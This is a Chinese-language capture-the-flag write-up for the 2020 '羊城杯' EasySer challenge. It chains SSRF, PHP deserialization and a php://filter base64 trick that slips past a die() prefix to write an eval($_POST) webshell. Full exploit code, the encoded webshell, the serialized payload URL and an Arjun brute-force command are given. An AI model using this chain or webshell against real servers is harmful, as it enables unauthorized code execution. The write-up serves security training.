[羊城杯 2020]EasySer
-
进入页面,发现是ubuntu+apache2,但是好像没啥用
-
尝试访问/robots.txt,得到
-
访问/star1.php/,查看源码,得到提示
-
一看就知道是ssrf,使用http://127.0.0.1/ser.php,得到源码
源码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?>
pop链子很简单:GWHT:__toString() => Yongen:hasaki()
绕过死亡die()
[[绕死亡exit()或die()]]
p神的文章谈一谈php://filter的妙用
使用编码和解码(base64)
首先利用的伪协议是php://filter/write=convert.base64-decode/resource=
将写入的内容进行base64解码后写入文件知识点
而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
base64算法解码时是4个byte一组利用
由于<、?、()、;、>、\n、空格、"、'都不是base64编码的范围,
编码字符范围包括a-z A-Z 0-9 = /
直接拿<?php exit();?>举例
所以最终被解码的字符仅有“phpexit”和我们传入的其他字符
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。
这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。这时如果传入的是php://filter/write=convert.base64-decode/resource='a'.'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4='
注:base64_encode('<?php @eval($_POST["cmd"]);?>')PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=则"phpexita"被正常解码,变为乱码,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=解码后变为一句话木马
除了上面直接看,还可以直接用代码,打开文件查看,试几次就出来了
<?php
$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
$add_str = '111';
$d = '<?php die("nononon");?>';
$data = $d . $add_str . $data;
file_put_contents($filename, $data);
- phpdienononon:总共13个字符,所以需要加3个字符
Arjun
- 接受序列化的参数在哪里呢,使用Arjun爆破,现在知道了ser.php源码,还有flag.php和star1.php不知道,爆破了flag.php啥都没有,爆破star1.php得到
使用工具Arjun进行参数爆破
命令:python3 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
解释:-c :一次发送的参数数 -d:请求之间的延迟(秒),(默认值:0)
如果不加-d 5可能就会429然后导致爆破不出来,当然,加上延时后速度自然慢的离谱
- 得到第二个参数c
payload
<?php
class GWHT{public $hero;}
class Yongen{//flag.phppublic $file='php://filter/write=convert.base64-decode/resource=shell.php';public $test='aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=';}
$a=new GWHT();
$a->hero=new Yongen();
echo serialize($a);
//O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}
paylod
/star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}
- 链接AntSword,在根目录下面得到flag,对了flag.php是空的,什么都没有